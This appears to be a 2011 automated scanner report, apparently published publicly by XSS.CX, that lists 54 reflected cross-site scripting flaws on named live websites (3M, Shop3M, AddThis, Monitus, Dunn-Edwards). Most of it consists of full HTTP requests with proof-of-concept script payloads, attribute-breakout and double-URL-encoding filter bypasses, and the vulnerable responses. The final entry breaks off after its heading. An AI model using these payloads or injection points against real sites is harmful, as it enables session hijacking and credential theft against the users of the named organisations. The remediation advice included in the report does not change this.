XSS, Reflected Cross Site Scripting, CWE-79, CAPEC-86, DORK, GHDB, BHDB, 10052011-04

Report generated by XSS.CX at Wed Oct 05 12:27:18 CDT 2011.

Public Domain Vulnerability Information, Security Articles, Vulnerability Reports, GHDB, DORK Search

XSS Home | XSS Crawler | SQLi Crawler | HTTPi Crawler | FI Crawler |
Loading

1. Cross-site scripting (reflected)

1.1. http://api-public.addthis.com/url/shares.json [callback parameter]

1.2. https://extra3.3m.com/enl/ [TARGET parameter]

1.3. http://live.monitus.net/php-bin/mjd_1317131663.php [r parameter]

1.4. http://selector.3m.com/selector/us/en/healthcare/occ_health_safety/wtb_p/ss.asp [zip parameter]

1.5. http://services.shop3m.com/search/ [keyword parameter]

1.6. http://services.shop3m.com/search/ [keyword parameter]

1.7. http://www.dunnedwards.com/DesktopModules/sfOmniture/js/s_codeProd.js [REST URL parameter 1]

1.8. http://www.dunnedwards.com/DesktopModules/sfOmniture/js/s_codeProd.js [REST URL parameter 2]

1.9. http://www.dunnedwards.com/DesktopModules/sfOmniture/js/s_codeProd.js [REST URL parameter 3]

1.10. http://www.dunnedwards.com/DesktopModules/sfOmniture/js/s_codeProd.js [REST URL parameter 4]

1.11. http://www.dunnedwards.com/Portals/1/Skins/Main/js/facebox.js [REST URL parameter 1]

1.12. http://www.dunnedwards.com/Portals/1/Skins/Main/js/facebox.js [REST URL parameter 2]

1.13. http://www.dunnedwards.com/Portals/1/Skins/Main/js/facebox.js [REST URL parameter 3]

1.14. http://www.dunnedwards.com/Portals/1/Skins/Main/js/facebox.js [REST URL parameter 4]

1.15. http://www.dunnedwards.com/Portals/1/Skins/Main/js/facebox.js [REST URL parameter 5]

1.16. http://www.dunnedwards.com/Portals/1/Skins/Main/js/facebox.js [REST URL parameter 6]

1.17. http://www.dunnedwards.com/Portals/1/Skins/Main/js/jquery-1.4.1.min.js [REST URL parameter 1]

1.18. http://www.dunnedwards.com/Portals/1/Skins/Main/js/jquery-1.4.1.min.js [REST URL parameter 2]

1.19. http://www.dunnedwards.com/Portals/1/Skins/Main/js/jquery-1.4.1.min.js [REST URL parameter 3]

1.20. http://www.dunnedwards.com/Portals/1/Skins/Main/js/jquery-1.4.1.min.js [REST URL parameter 4]

1.21. http://www.dunnedwards.com/Portals/1/Skins/Main/js/jquery-1.4.1.min.js [REST URL parameter 5]

1.22. http://www.dunnedwards.com/Portals/1/Skins/Main/js/jquery-1.4.1.min.js [REST URL parameter 6]

1.23. http://www.dunnedwards.com/Portals/1/Skins/Main/js/jquery.colorbox.js [REST URL parameter 1]

1.24. http://www.dunnedwards.com/Portals/1/Skins/Main/js/jquery.colorbox.js [REST URL parameter 2]

1.25. http://www.dunnedwards.com/Portals/1/Skins/Main/js/jquery.colorbox.js [REST URL parameter 3]

1.26. http://www.dunnedwards.com/Portals/1/Skins/Main/js/jquery.colorbox.js [REST URL parameter 4]

1.27. http://www.dunnedwards.com/Portals/1/Skins/Main/js/jquery.colorbox.js [REST URL parameter 5]

1.28. http://www.dunnedwards.com/Portals/1/Skins/Main/js/jquery.colorbox.js [REST URL parameter 6]

1.29. http://www.dunnedwards.com/Portals/1/Skins/Main/js/jquery.qtip-1.0.0-rc3.js [REST URL parameter 1]

1.30. http://www.dunnedwards.com/Portals/1/Skins/Main/js/jquery.qtip-1.0.0-rc3.js [REST URL parameter 2]

1.31. http://www.dunnedwards.com/Portals/1/Skins/Main/js/jquery.qtip-1.0.0-rc3.js [REST URL parameter 3]

1.32. http://www.dunnedwards.com/Portals/1/Skins/Main/js/jquery.qtip-1.0.0-rc3.js [REST URL parameter 4]

1.33. http://www.dunnedwards.com/Portals/1/Skins/Main/js/jquery.qtip-1.0.0-rc3.js [REST URL parameter 5]

1.34. http://www.dunnedwards.com/Portals/1/Skins/Main/js/jquery.qtip-1.0.0-rc3.js [REST URL parameter 6]

1.35. http://www.dunnedwards.com/Portals/1/Skins/Main/js/main.js [REST URL parameter 1]

1.36. http://www.dunnedwards.com/Portals/1/Skins/Main/js/main.js [REST URL parameter 2]

1.37. http://www.dunnedwards.com/Portals/1/Skins/Main/js/main.js [REST URL parameter 3]

1.38. http://www.dunnedwards.com/Portals/1/Skins/Main/js/main.js [REST URL parameter 4]

1.39. http://www.dunnedwards.com/Portals/1/Skins/Main/js/main.js [REST URL parameter 5]

1.40. http://www.dunnedwards.com/Portals/1/Skins/Main/js/main.js [REST URL parameter 6]

1.41. http://www.dunnedwards.com/Portals/1/Skins/Main/js/sfPrint.js [REST URL parameter 1]

1.42. http://www.dunnedwards.com/Portals/1/Skins/Main/js/sfPrint.js [REST URL parameter 2]

1.43. http://www.dunnedwards.com/Portals/1/Skins/Main/js/sfPrint.js [REST URL parameter 3]

1.44. http://www.dunnedwards.com/Portals/1/Skins/Main/js/sfPrint.js [REST URL parameter 4]

1.45. http://www.dunnedwards.com/Portals/1/Skins/Main/js/sfPrint.js [REST URL parameter 5]

1.46. http://www.dunnedwards.com/Portals/1/Skins/Main/js/sfPrint.js [REST URL parameter 6]

1.47. http://www.dunnedwards.com/js/dnn.js [REST URL parameter 1]

1.48. http://www.dunnedwards.com/js/dnn.js [REST URL parameter 2]

1.49. http://www.dunnedwards.com/js/dnncore.js [REST URL parameter 1]

1.50. http://www.dunnedwards.com/js/dnncore.js [REST URL parameter 2]

1.51. http://www.dunnedwards.com/retail/content.asp [REST URL parameter 1]

1.52. http://www.dunnedwards.com/retail9190c%2522%253balert%2528document.location%2529%252f%252f57f65b3d75b/favicon.ico [REST URL parameter 1]

1.53. http://www.dunnedwards.com/retail9190c%2522%253balert%2528document.location%2529%252f%252f57f65b3d75b/favicon.ico [REST URL parameter 1]

1.54. http://www.dunnedwards.com/retail9190c%2522%253balert%2528document.location%2529%252f%252f57f65b3d75b/favicon.ico [REST URL parameter 2]



1. Cross-site scripting (reflected)
There are 54 instances of this issue:

Issue background

Reflected cross-site scripting vulnerabilities arise when data is copied from a request and echoed into the application's immediate response in an unsafe way. An attacker can use the vulnerability to construct a request which, if issued by another application user, will cause JavaScript code supplied by the attacker to execute within the user's browser in the context of that user's session with the application.

The attacker-supplied code can perform a wide variety of actions, such as stealing the victim's session token or login credentials, performing arbitrary actions on the victim's behalf, and logging their keystrokes.

Users can be induced to issue the attacker's crafted request in various ways. For example, the attacker can send a victim a link containing a malicious URL in an email or instant message. They can submit the link to popular web sites that allow content authoring, for example in blog comments. And they can create an innocuous looking web site which causes anyone viewing it to make arbitrary cross-domain requests to the vulnerable application (using either the GET or the POST method).

The security impact of cross-site scripting vulnerabilities is dependent upon the nature of the vulnerable application, the kinds of data and functionality which it contains, and the other applications which belong to the same domain and organisation. If the application is used only to display non-sensitive public content, with no authentication or access control functionality, then a cross-site scripting flaw may be considered low risk. However, if the same application resides on a domain which can access cookies for other more security-critical applications, then the vulnerability could be used to attack those other applications, and so may be considered high risk. Similarly, if the organisation which owns the application is a likely target for phishing attacks, then the vulnerability could be leveraged to lend credibility to such attacks, by injecting Trojan functionality into the vulnerable application, and exploiting users' trust in the organisation in order to capture credentials for other applications which it owns. In many kinds of application, such as those providing online banking functionality, cross-site scripting should always be considered high risk.

Issue remediation

In most situations where user-controllable data is copied into application responses, cross-site scripting attacks can be prevented using two layers of defences:In cases where the application's functionality allows users to author content using a restricted subset of HTML tags and attributes (for example, blog comments which allow limited formatting and linking), it is necessary to parse the supplied HTML to validate that it does not use any dangerous syntax; this is a non-trivial task.


1.1. http://api-public.addthis.com/url/shares.json [callback parameter]  next

Summary

Severity:   High
Confidence:   Certain
Host:   http://api-public.addthis.com
Path:   /url/shares.json

Issue detail

The value of the callback request parameter is copied into the HTML document as plain text between tags. The payload 54668<script>alert(1)</script>f7213acd08e was submitted in the callback parameter. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Request

GET /url/shares.json?url=http%3A%2F%2Fwww.shop3m.com%2F&callback=_ate.cbs.sc_httpwwwshop3mcom8854668<script>alert(1)</script>f7213acd08e HTTP/1.1
Host: api-public.addthis.com
Proxy-Connection: keep-alive
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/535.1 (KHTML, like Gecko) Chrome/14.0.835.187 Safari/535.1
Accept: */*
Referer: http://www.shop3m.com/
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: loc=US%2COTUxMDFOQVVTQ0EyMTczMDU4MTgwNzczNjIwVg%3d%3d; uid=0000000000000000; uvc=136|36,57|37,55|38,44|39,48|40

Response

HTTP/1.1 200 OK
Server: Apache-Coyote/1.1
Cache-Control: max-age=4800
Content-Type: application/javascript;charset=UTF-8
Date: Wed, 05 Oct 2011 17:20:44 GMT
Content-Length: 88
Connection: close

_ate.cbs.sc_httpwwwshop3mcom8854668<script>alert(1)</script>f7213acd08e({"shares":128});

1.2. https://extra3.3m.com/enl/ [TARGET parameter]  previous  next

Summary

Severity:   High
Confidence:   Certain
Host:   https://extra3.3m.com
Path:   /enl/

Issue detail

The value of the TARGET request parameter is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 3141e%2522%253e%253cscript%253ealert%25281%2529%253c%252fscript%253e876337cf11b was submitted in the TARGET parameter. This input was echoed as 3141e"><script>alert(1)</script>876337cf11b in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

The application attempts to block certain characters that are often used in XSS attacks but this can be circumvented by double URL-encoding the required characters - for example, by submitting %253c instead of the < character.

Remediation detail

There is probably no need to perform a second URL-decode of the value of the TARGET request parameter as the web server will have already carried out one decode. In any case, the application should perform its input validation after any custom canonicalisation has been carried out.

Request

GET /enl/?TYPE=33554433&REALMOID=06-8f2a41dd-4476-4787-8967-ffe53f69ea6d&GUID=&SMAUTHREASON=0&METHOD=GET&SMAGENTNAME=$SM$KNA7bcZdvhN00LDTi08m7Bt1AzXGIo3%2fqp5v7BAoZ1VXW6S%2f9elrWhL09PitCBHh&TARGET=$SM$HTTP%3a%2f%2fsolutions%2e3m%2ecom%2fwps%2fmyportal%2f3M%2fen_US%2fOHES%2fDistributor%2f%3fWT%2emc_id%3dOHESDistributor3141e%2522%253e%253cscript%253ealert%25281%2529%253c%252fscript%253e876337cf11b HTTP/1.1
Host: extra3.3m.com
Connection: keep-alive
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/535.1 (KHTML, like Gecko) Chrome/14.0.835.187 Safari/535.1
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Referer: http://solutions.3m.com/wps/portal/3M/en_US/Health/Safety/Support/Where-to-Buy/
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: localePreference=http%3A%2F%2Fsolutions.3m.com%2Fwps%2Fportal%2F3M%2Fen_US%2FWW2%2FCountry%2F%3FWT.mc_id%3Dggp_redirect_en_US; __utma=71768593.311626861.1317834549.1317834549.1317834549.1; __utmb=71768593.3.10.1317834549; __utmc=71768593; __utmz=71768593.1317834549.1.1.utmcsr=(direct)|utmccn=(direct)|utmcmd=(none)

Response

HTTP/1.1 200 OK
Date: Wed, 05 Oct 2011 17:09:28 GMT
Server: IBM_HTTP_Server
Served-By: Pyrite11
Keep-Alive: timeout=15, max=1000
Connection: Keep-Alive
Content-Type: text/html; charset=UTF-8
Content-Language: en-US
X-Via: <wa277e>
Content-Length: 14810

<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN"
"http://www.w3.org/TR/html4/loose.dtd">


<!-- Header -->


   <!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01 Transitiona
...[SNIP]...
<INPUT type="hidden" name="Destination" value="HTTP://solutions.3m.com/wps/myportal/3M/en_US/OHES/Distributor/?WT.mc_id=OHESDistributor3141e"><script>alert(1)</script>876337cf11b"/>
...[SNIP]...

1.3. http://live.monitus.net/php-bin/mjd_1317131663.php [r parameter]  previous  next

Summary

Severity:   High
Confidence:   Certain
Host:   http://live.monitus.net
Path:   /php-bin/mjd_1317131663.php

Issue detail

The value of the r request parameter is copied into the HTML document as plain text between tags. The payload 18624<script>alert(1)</script>e7cd51e722d was submitted in the r parameter. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Request

GET /php-bin/mjd_1317131663.php?gv=1&bid=&mid=479&r=www.shop3m.com18624<script>alert(1)</script>e7cd51e722d&mst=utmcsr%3Ddirect%7Cutmcmd%3Dnone&p=index&prk=1&fv=2.9&fv=2.9 HTTP/1.1
Host: live.monitus.net
Proxy-Connection: keep-alive
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/535.1 (KHTML, like Gecko) Chrome/14.0.835.187 Safari/535.1
Accept: */*
Referer: http://www.shop3m.com/
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3

Response

HTTP/1.1 200 OK
Server: nginx/0.8.36
Date: Wed, 05 Oct 2011 17:20:20 GMT
Content-Type: text/javascript
Connection: keep-alive
Vary: Accept-Encoding
X-Powered-By: PHP/5.2.13
Cache-Control: max-age=0, no-store
Expires: Fri, 02-Jan-1970 00:00:00 GMT
Pragma: no-cache
P3P: policyref="http://www.monitus.net/P3P/p3p.xml", CP="NON DSP CURa ADMa DEVa TAIa PSAa PSDa IVAa IVDa OUR BUS UNI COM NAV INT DEM"
Content-Length: 2827

//--Monitus Tools code v2.9
//-- Copyright 2006-2011 Monitus LLC, All Rights Reserved.


//-- Monitus Tools For Yahoo! Stores

_MONITUS.visitor = {
"mid": "-4677367-5515178",
"region": "",
"region_cod
...[SNIP]...
<mgwo.st)) setTimeout("_MONITUS.ga_boot();", 10);
else {

_MONITUS.pageTrackerIgnoredRefs = new Array("shop3m.com18624<script>alert(1)</script>e7cd51e722d");
_MONITUS.pageTrackerIgnoredRefs = _MONITUS.pageTrackerIgnoredRefs[_MONITUS.pageTrackerIgnoredRefs.length] = "shop3m.com";
_MONITUS.pageTrackerIgnoredRefs = _MONITUS.pageTrackerIgnoredRefs[_MONITUS.
...[SNIP]...

1.4. http://selector.3m.com/selector/us/en/healthcare/occ_health_safety/wtb_p/ss.asp [zip parameter]  previous  next

Summary

Severity:   High
Confidence:   Certain
Host:   http://selector.3m.com
Path:   /selector/us/en/healthcare/occ_health_safety/wtb_p/ss.asp

Issue detail

The value of the zip request parameter is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 29cff"style%3d"x%3aexpression(alert(1))"339d9834413 was submitted in the zip parameter. This input was echoed as 29cff"style="x:expression(alert(1))"339d9834413 in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response. The PoC attack demonstrated uses a dynamically evaluated expression with a style attribute to introduce arbitrary JavaScript into the document. Note that this technique is specific to Internet Explorer, and may not work on other browsers.

Request

GET /selector/us/en/healthcare/occ_health_safety/wtb_p/ss.asp?FAM=oheswtb&SORD=118&LL=WTB&sortby=&zip=29cff"style%3d"x%3aexpression(alert(1))"339d9834413&radius=&category=&FT_118=26245&FT_101=0 HTTP/1.1
Host: selector.3m.com
Proxy-Connection: keep-alive
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/535.1 (KHTML, like Gecko) Chrome/14.0.835.187 Safari/535.1
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Referer: http://selector.3m.com/selector/us/en/healthcare/occ_health_safety/wtb_p/ss.asp?FAM=oheswtb&LL=WTB
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: localePreference=http%3A%2F%2Fsolutions.3m.com%2Fwps%2Fportal%2F3M%2Fen_US%2FWW2%2FCountry%2F%3FWT.mc_id%3Dggp_redirect_en_US; __utma=71768593.311626861.1317834549.1317834549.1317834549.1; __utmb=71768593.3.10.1317834549; __utmc=71768593; __utmz=71768593.1317834549.1.1.utmcsr=(direct)|utmccn=(direct)|utmcmd=(none); ASPSESSIONIDSARRTAAR=COHHOHIBHFKJDOMCIJIEAFIC; WT_FPC=id=50.23.123.106-4086325760.30173190:lv=1317830974406:ss=1317830953315

Response

HTTP/1.1 200 OK
Date: Wed, 05 Oct 2011 17:09:55 GMT
Server: Microsoft-IIS/6.0
X-Powered-By: ASP.NET
Content-Length: 17754
Content-Type: text/html; Charset=utf-8
Cache-control: private
Served-By: pyrite7


<!-- read db , web location and default language variables -->

<!-- contains initializelanguage function -->

<!-- error routine -->

<!-- read common selector functions -->

<!-- reads lan
...[SNIP]...
'DCS.dcsuri','/wps/portal/3M/en_US/PPESafetySolutions/PPESafety/Support/wheretobuysafety/SelectorDistributorWTBZipCodes','WT.ti','Distributor WTB Zip Codes')" name="zip" size="7" maxlength="5" value="29cff"style="x:expression(alert(1))"339d9834413" >
...[SNIP]...

1.5. http://services.shop3m.com/search/ [keyword parameter]  previous  next

Summary

Severity:   High
Confidence:   Certain
Host:   http://services.shop3m.com
Path:   /search/

Issue detail

The value of the keyword request parameter is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload ab934"><script>alert(1)</script>8f4983bcde6 was submitted in the keyword parameter. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Request

GET /search/?keyword=xss+bond+interest+mortgageab934"><script>alert(1)</script>8f4983bcde6 HTTP/1.1
Host: services.shop3m.com
Proxy-Connection: keep-alive
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/535.1 (KHTML, like Gecko) Chrome/14.0.835.187 Safari/535.1
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Referer: http://www.shop3m.com/78691147215.html
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: BX=agtibtd78p4e8&b=3&s=ac; _mtv=; _mcv=1; YFC_INFO=dirty=0&prevdomain=www.shop3m.com

Response

HTTP/1.1 200 OK
Date: Wed, 05 Oct 2011 17:12:22 GMT
Server: Apache/2.2.3 (Red Hat)
X-Powered-By: PHP/5.1.6
Connection: close
Content-Type: text/html; charset=UTF-8
Content-Length: 40742

<!DOCTYPE html PUBLIC .-//W3C//DTD XHTML 1.0 Strict//EN. .http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd.>
<html>
<head><BASE href=http://www.Shop3M.com></base><title>Shop 3M: 3MeStore Search</titl
...[SNIP]...
<input type=text name=varValue value="xss bond interest mortgageab934"><script>alert(1)</script>8f4983bcde6" style="font-size:13px;">
...[SNIP]...

1.6. http://services.shop3m.com/search/ [keyword parameter]  previous  next

Summary

Severity:   High
Confidence:   Certain
Host:   http://services.shop3m.com
Path:   /search/

Issue detail

The value of the keyword request parameter is copied into a JavaScript string which is encapsulated in double quotation marks. The payload 25418"%3balert(1)//062be295512 was submitted in the keyword parameter. This input was echoed as 25418";alert(1)//062be295512 in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Remediation detail

Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context.

Request

GET /search/?keyword=xss+bond+interest+mortgage25418"%3balert(1)//062be295512 HTTP/1.1
Host: services.shop3m.com
Proxy-Connection: keep-alive
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/535.1 (KHTML, like Gecko) Chrome/14.0.835.187 Safari/535.1
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Referer: http://www.shop3m.com/78691147215.html
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: BX=agtibtd78p4e8&b=3&s=ac; _mtv=; _mcv=1; YFC_INFO=dirty=0&prevdomain=www.shop3m.com

Response

HTTP/1.1 200 OK
Date: Wed, 05 Oct 2011 17:12:23 GMT
Server: Apache/2.2.3 (Red Hat)
X-Powered-By: PHP/5.1.6
Connection: close
Content-Type: text/html; charset=UTF-8
Content-Length: 40697

<!DOCTYPE html PUBLIC .-//W3C//DTD XHTML 1.0 Strict//EN. .http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd.>
<html>
<head><BASE href=http://www.Shop3M.com></base><title>Shop 3M: 3MeStore Search</titl
...[SNIP]...
<script type=text/javascript>
       WT.oss = "xss bond interest mortgage25418";alert(1)//062be295512";
       WT.oss_r = "0";
       WT.z_oss_t = "Keyword";
   </script>
...[SNIP]...

1.7. http://www.dunnedwards.com/DesktopModules/sfOmniture/js/s_codeProd.js [REST URL parameter 1]  previous  next

Summary

Severity:   High
Confidence:   Certain
Host:   http://www.dunnedwards.com
Path:   /DesktopModules/sfOmniture/js/s_codeProd.js

Issue detail

The value of REST URL parameter 1 is copied into a JavaScript string which is encapsulated in double quotation marks. The payload 11124%2522%253balert%25281%2529%252f%252f8be92676f9f was submitted in the REST URL parameter 1. This input was echoed as 11124";alert(1)//8be92676f9f in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

The application attempts to block certain characters that are often used in XSS attacks but this can be circumvented by double URL-encoding the required characters - for example, by submitting %253c instead of the < character.

Remediation detail

Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context. There is probably no need to perform a second URL-decode of the value of REST URL parameter 1 as the web server will have already carried out one decode. In any case, the application should perform its input validation after any custom canonicalisation has been carried out.

Request

GET /DesktopModules11124%2522%253balert%25281%2529%252f%252f8be92676f9f/sfOmniture/js/s_codeProd.js HTTP/1.1
Host: www.dunnedwards.com
Proxy-Connection: keep-alive
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/535.1 (KHTML, like Gecko) Chrome/14.0.835.187 Safari/535.1
Accept: */*
Referer: http://www.dunnedwards.com/retail9190c%2522%253balert%2528document.location%2529%252f%252f57f65b3d75b/content.asp
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: .ASPXANONYMOUS=dg8hURS6zAEkAAAAYjFjMWQ2NDUtN2ZlYi00Y2ZlLTk1MGEtZDhhZjYwYTQ1Mjcz0; ASP.NET_SessionId=oj4n4xvmlec1hyu0ycu1kr45; language=en-US; colorChipCartGUID=eb8103c4-9900-43d6-a176-44f5fb2e4205

Response

HTTP/1.1 404 Not Found
Cache-Control: private
Content-Type: text/html; charset=utf-8
Server: Microsoft-IIS/7.0
X-AspNet-Version: 2.0.50727
Set-Cookie: language=en-US; path=/; HttpOnly
X-Compressed-By: DotNetNuke-Compression
X-Powered-By: ASP.NET
Date: Wed, 05 Oct 2011 17:19:55 GMT
Content-Length: 66763

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml" xml:lang="en-US" lang="en-US">
<h
...[SNIP]...
<![CDATA[
s.pageName="404:http://www.dunnedwards.com:80/DesktopModules11124";alert(1)//8be92676f9f/sfOmniture/js/s_codeProd.js"
s.channel=""
s.server="DEserver1"
s.pageType="errorPage"
s.events=""
s.products=""
s.purchaseID=""
s.transactionID=""
s.campaign=""
s.state=""
s.zip=""
s.eVar1=
...[SNIP]...

1.8. http://www.dunnedwards.com/DesktopModules/sfOmniture/js/s_codeProd.js [REST URL parameter 2]  previous  next

Summary

Severity:   High
Confidence:   Certain
Host:   http://www.dunnedwards.com
Path:   /DesktopModules/sfOmniture/js/s_codeProd.js

Issue detail

The value of REST URL parameter 2 is copied into a JavaScript string which is encapsulated in double quotation marks. The payload 2bbe3%2522%253balert%25281%2529%252f%252f1061ac20ebd was submitted in the REST URL parameter 2. This input was echoed as 2bbe3";alert(1)//1061ac20ebd in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

The application attempts to block certain characters that are often used in XSS attacks but this can be circumvented by double URL-encoding the required characters - for example, by submitting %253c instead of the < character.

Remediation detail

Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context. There is probably no need to perform a second URL-decode of the value of REST URL parameter 2 as the web server will have already carried out one decode. In any case, the application should perform its input validation after any custom canonicalisation has been carried out.

Request

GET /DesktopModules/sfOmniture2bbe3%2522%253balert%25281%2529%252f%252f1061ac20ebd/js/s_codeProd.js HTTP/1.1
Host: www.dunnedwards.com
Proxy-Connection: keep-alive
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/535.1 (KHTML, like Gecko) Chrome/14.0.835.187 Safari/535.1
Accept: */*
Referer: http://www.dunnedwards.com/retail9190c%2522%253balert%2528document.location%2529%252f%252f57f65b3d75b/content.asp
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: .ASPXANONYMOUS=dg8hURS6zAEkAAAAYjFjMWQ2NDUtN2ZlYi00Y2ZlLTk1MGEtZDhhZjYwYTQ1Mjcz0; ASP.NET_SessionId=oj4n4xvmlec1hyu0ycu1kr45; language=en-US; colorChipCartGUID=eb8103c4-9900-43d6-a176-44f5fb2e4205

Response

HTTP/1.1 404 Not Found
Cache-Control: private
Content-Type: text/html; charset=utf-8
Server: Microsoft-IIS/7.0
X-AspNet-Version: 2.0.50727
Set-Cookie: language=en-US; path=/; HttpOnly
X-Compressed-By: DotNetNuke-Compression
X-Powered-By: ASP.NET
Date: Wed, 05 Oct 2011 17:20:04 GMT
Content-Length: 66762

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml" xml:lang="en-US" lang="en-US">
<h
...[SNIP]...
<![CDATA[
s.pageName="404:http://www.dunnedwards.com:80/DesktopModules/sfOmniture2bbe3";alert(1)//1061ac20ebd/js/s_codeProd.js"
s.channel=""
s.server="DEserver1"
s.pageType="errorPage"
s.events=""
s.products=""
s.purchaseID=""
s.transactionID=""
s.campaign=""
s.state=""
s.zip=""
s.eVar1="Page Not F
...[SNIP]...

1.9. http://www.dunnedwards.com/DesktopModules/sfOmniture/js/s_codeProd.js [REST URL parameter 3]  previous  next

Summary

Severity:   High
Confidence:   Certain
Host:   http://www.dunnedwards.com
Path:   /DesktopModules/sfOmniture/js/s_codeProd.js

Issue detail

The value of REST URL parameter 3 is copied into a JavaScript string which is encapsulated in double quotation marks. The payload 4f625%2522%253balert%25281%2529%252f%252fc74391ad960 was submitted in the REST URL parameter 3. This input was echoed as 4f625";alert(1)//c74391ad960 in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

The application attempts to block certain characters that are often used in XSS attacks but this can be circumvented by double URL-encoding the required characters - for example, by submitting %253c instead of the < character.

Remediation detail

Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context. There is probably no need to perform a second URL-decode of the value of REST URL parameter 3 as the web server will have already carried out one decode. In any case, the application should perform its input validation after any custom canonicalisation has been carried out.

Request

GET /DesktopModules/sfOmniture/js4f625%2522%253balert%25281%2529%252f%252fc74391ad960/s_codeProd.js HTTP/1.1
Host: www.dunnedwards.com
Proxy-Connection: keep-alive
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/535.1 (KHTML, like Gecko) Chrome/14.0.835.187 Safari/535.1
Accept: */*
Referer: http://www.dunnedwards.com/retail9190c%2522%253balert%2528document.location%2529%252f%252f57f65b3d75b/content.asp
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: .ASPXANONYMOUS=dg8hURS6zAEkAAAAYjFjMWQ2NDUtN2ZlYi00Y2ZlLTk1MGEtZDhhZjYwYTQ1Mjcz0; ASP.NET_SessionId=oj4n4xvmlec1hyu0ycu1kr45; language=en-US; colorChipCartGUID=eb8103c4-9900-43d6-a176-44f5fb2e4205

Response

HTTP/1.1 404 Not Found
Cache-Control: private
Content-Type: text/html; charset=utf-8
Server: Microsoft-IIS/7.0
X-AspNet-Version: 2.0.50727
Set-Cookie: language=en-US; path=/; HttpOnly
X-Compressed-By: DotNetNuke-Compression
X-Powered-By: ASP.NET
Date: Wed, 05 Oct 2011 17:20:15 GMT
Content-Length: 66763

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml" xml:lang="en-US" lang="en-US">
<h
...[SNIP]...
<![CDATA[
s.pageName="404:http://www.dunnedwards.com:80/DesktopModules/sfOmniture/js4f625";alert(1)//c74391ad960/s_codeProd.js"
s.channel=""
s.server="DEserver1"
s.pageType="errorPage"
s.events=""
s.products=""
s.purchaseID=""
s.transactionID=""
s.campaign=""
s.state=""
s.zip=""
s.eVar1="Page Not Foun
...[SNIP]...

1.10. http://www.dunnedwards.com/DesktopModules/sfOmniture/js/s_codeProd.js [REST URL parameter 4]  previous  next

